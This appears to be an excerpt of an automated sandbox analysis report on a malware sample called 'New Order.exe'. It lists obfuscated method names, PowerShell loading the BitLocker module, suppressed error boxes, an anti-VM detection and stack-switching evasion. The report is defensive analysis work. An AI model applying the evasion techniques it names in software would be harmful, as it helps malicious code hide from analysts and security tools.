Source: 1.2.New Order.exe.4006340.0.raw.unpack, POu82VzOwjvaboP5Q9.cs	High entropy of concatenated method names: 'pv0w74oaSx', 'Vtwwtj9MqT', 'CbSwB2RIrk', 'he3wpwbTfB', 'GWDwEpx03a', 'iIBwiAv03l', 'rr9wyJUB93', 'lyHwPncare', 'UgowJUM4fS', 'idswMssxgI'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, oBUAdVV1wigcc8Q33F.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'fZO2nWwvkR', 'i9Q2TsPfqy', 'RvM2zLPufV', 'BBpxO41WLf', 'vDixHM9Jkc', 'hiMx2tANAp', 'vWCxxjyohf', 'N8TIZlXr5uAiiIDvmEQ'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, F57NpumPsJJ6L4hEiw.cs	High entropy of concatenated method names: 'g0MIoT50Ia', 'QvHIZn6G1R', 'NdqImQij9L', 'xkPIcwoimd', 'LtSIEVv2Fk', 'hISIF5mr5b', 'U6cIiQRsRf', 'zDwIycV0Jj', 'omPICf6ABA', 'H2vIWrVTd2'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, XcFZQ5Wb4jiCmTJ1Nt.cs	High entropy of concatenated method names: 'uKsk4lQj3M', 'PeEkV3mXtX', 'pDwkYm4cHs', 'd5XYTDMMNi', 'GOEYzBWdvf', 'ebckO2rNEn', 'h3YkHQxait', 'qTNk2y22RS', 'C2mkxLdr3d', 'uJSkuB6wiP'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, kPwJ44nc3J1leqjaPO.cs	High entropy of concatenated method names: 'ylJSpnZueR', 'M4QSEUrE51', 'O5NSFKa8QW', 'wKNSim7WC0', 'p1RSyRBumo', 'zKsSCcswEO', 'gJKSWQtYZR', 'wUHSakDYcB', 'blJSUMQrSf', 'glvSoX3mV6'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, KXOu74t9GvIK3VBWFs.cs	High entropy of concatenated method names: 'ebUNmb8pH1', 'vdWNcxqhRR', 'C2MN06w06o', 'sONNKa9xC0', 'MumN1RLuq7', 'B4wN9gbtus', 'n1YNfRCirg', 'z4FN38kRlg', 'rBdNnZTd2h', 'zUZNT0gIa2'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, ucqiXrfx0Syni9p3OA.cs	High entropy of concatenated method names: 'xj7SIwEh7I', 'KP2ShtRn4I', 'f4ZSSjPUSM', 'BJWSXZVnYw', 'IxTS6LZAxg', 'cjMSP2ecGi', 'Dispose', 'Tqxr4Js272', 'LLwrN3I7Lk', 'hArrVMTLSc'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, ELY8UFH2PglgVjiHZY1.cs	High entropy of concatenated method names: 'ToString', 'jnhXtDudCg', 'I4wXBDLb8M', 'HhiXAQpvc6', 'xeMXpiLoB9', 'QpCXEfT7x1', 'lHyXFrV2hL', 'Tt9XiInX9H', 'PvFZ8XCUG71xwiyTyqJ', 'RZ8kZxCNoqfWpbPjWcW'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, efPLxH2TqBFckGjeSR.cs	High entropy of concatenated method names: 'hUUjah354', 'ecBQtjfDm', 'y3X7DK13R', 'nQ9GGCR5b', 'j1BB5JGSI', 'rsqA3MZua', 'kxqeAEb2blXEJDHTwn', 'yqkwC2xDDjfTh94FQR', 'aelrb7V6l', 'Gu0woRAII'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, UUoQ7m0jItuerthGfx.cs	High entropy of concatenated method names: 'ToString', 'C5O8L2Hp2H', 'Dfl8EbqgT8', 'Ydb8FcsssY', 'G968iYUPIt', 'ipa8y8Tgvd', 'EBL8Cl7oxj', 'lIh8WB6NbS', 'j1h8aRJG3R', 'rZY8Uq6HpI'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, oGZrgJB7JtgxmQBWKY.cs	High entropy of concatenated method names: 'ykLVQG22Pg', 'nt9V7bmWNJ', 'YMSVt3N64c', 'NwwVBax4H4', 'rOhVID4MqP', 'Y1WV8wo0pT', 'g98VhqAH4Y', 'WXLVruVNWI', 'VehVSGF8tw', 'lhWVwh3ElO'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, vWyMUjUEPh6pAHEOAY.cs	High entropy of concatenated method names: 'lOHkJhkWgc', 'KY5kM01ErO', 'u3EkjBj6v2', 'DupkQgRTLm', 'r7Mk5L9tQT', 'yZpk701eYt', 'tGOkGbLqC3', 'jJxktS56aJ', 'i37kBTfiDF', 'efikAOXMk1'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, X1i88aq7m6arQ2ji8w.cs	High entropy of concatenated method names: 'WyndtMyewX', 'QPwdBroYYI', 'IFVdpyPsBt', 'HUCdEQiAi4', 'BsadiAASNa', 'M3NdyXgpDy', 'wo7dWlkd2i', 'IbLdaTjDiw', 'lmBdoEkF7B', 'w8WdLL4Gbo'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, FdaFyJu2nRBL1qwfYH.cs	High entropy of concatenated method names: 'm7WHkXOu74', 'VGvHDIK3VB', 'x7JHvtgxmQ', 'EWKHRYOGe2', 'PCaHIj7Lxo', 'ATfH87PnUC', 'eT3T49Us6xvfcvl6eq', 'KX0pwfNJkxsGqaWkIP', 'w6qHHO4etQ', 'bMFHxISJTa'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, M7cDBeDIldQIV71LRd.cs	High entropy of concatenated method names: 'VOlxb272id', 'QLyx4EBed4', 'oSTxN5Bl5L', 'JFOxVktjxy', 'rELxlu9UKP', 'DgCxYlxHbe', 'QWixkNyQa1', 'etQxDXP2Ic', 'AB8xsW5q9M', 'OK0xvyKVlQ'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, DAoITCHHL9yAmQEF0Sb.cs	High entropy of concatenated method names: 'nocwT9wKa6', 'vTcwzcMrxj', 'CVTXOIIkbG', 'noPXHVs3je', 'PD7X2OIQ6D', 'rJdXx6JrsS', 'lFnXuaP9A6', 'xd0XbQ1PJP', 'VgyX4oqfQJ', 'U5eXNkXGXj'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, M8cPLRTsQ9BrfNo7Xb.cs	High entropy of concatenated method names: 'fdgwVvbVGU', 'dakwlfWNHp', 'c1JwY9gM3r', 'oalwk1hbMF', 'svcwSDoUKL', 'MQkwDUdCom', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, qSVPwRK1hd7HZJZpIU.cs	High entropy of concatenated method names: 'I4WhvCmcJj', 'PoxhRNawhm', 'ToString', 'P3Wh46aOhn', 'KAAhN72uFU', 'rHohVPVad0', 'G1HhlhVM1e', 'IGphYDJaZe', 'VnahkUdGG9', 'Y56hDosrCL'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, CuT4rCHueTPBYquwsAX.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'GCrgSmbY1w', 'AyugwcFWUf', 'L6DgX20SCa', 'JDXggNyeNZ', 'WbLg63XRDe', 'ym2geI7WYr', 'kQ2gPUpetr'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, AQkNgb9hTCZmeIj6A0.cs	High entropy of concatenated method names: 'dGZh3Ek89C', 'tvOhTk3COq', 'GfjrOVcJKc', 'ONtrH3WI4D', 'udZhLobbUd', 'iohhZ8J9pt', 'e0ChqgEe3D', 'wRFhmnxuLF', 'kN4hcmG6Q7', 'LaEh0QEu70'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, ODjTiQNTVBNJuwqxEj.cs	High entropy of concatenated method names: 'Dispose', 'rynHni9p3O', 'Ejt2EuRWdE', 'vqOg1SwkWY', 'FbVHT47TG2', 'inEHz45vmG', 'ProcessDialogKey', 'wPD2OPwJ44', 'R3J2H1leqj', 'LPO22U8cPL'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, OxoQTfp7PnUCwN14no.cs	High entropy of concatenated method names: 'QCAYbCe3md', 'ftZYNHEy0p', 'OanYle6ZnM', 'Yv5YkUS4BK', 'vHkYDMvbAh', 'b2Il116Q71', 'y1yl9gBvpE', 'QB0lfJstp7', 'd7el3axQ8C', 'df1lnKpJXZ'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, POu82VzOwjvaboP5Q9.cs	High entropy of concatenated method names: 'pv0w74oaSx', 'Vtwwtj9MqT', 'CbSwB2RIrk', 'he3wpwbTfB', 'GWDwEpx03a', 'iIBwiAv03l', 'rr9wyJUB93', 'lyHwPncare', 'UgowJUM4fS', 'idswMssxgI'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, oBUAdVV1wigcc8Q33F.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'fZO2nWwvkR', 'i9Q2TsPfqy', 'RvM2zLPufV', 'BBpxO41WLf', 'vDixHM9Jkc', 'hiMx2tANAp', 'vWCxxjyohf', 'N8TIZlXr5uAiiIDvmEQ'
Source: 1.2.New Order.exe.7400000.4.raw.unpack, F57NpumPsJJ6L4hEiw.cs	High entropy of concatenated method names: 'g0MIoT50Ia', 'QvHIZn6G1R', 'NdqImQij9L', 'xkPIcwoimd', 'LtSIEVv2Fk', 'hISIF5mr5b', 'U6cIiQRsRf', 'zDwIycV0Jj', 'omPICf6ABA', 'H2vIWrVTd2'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: New Order.exe PID: 3224, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\w32tm.exe	API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\w32tm.exe	API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\w32tm.exe	API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\w32tm.exe	API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\w32tm.exe	API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\w32tm.exe	API/Special instruction interceptor: Address: 7FFDB442D1E4
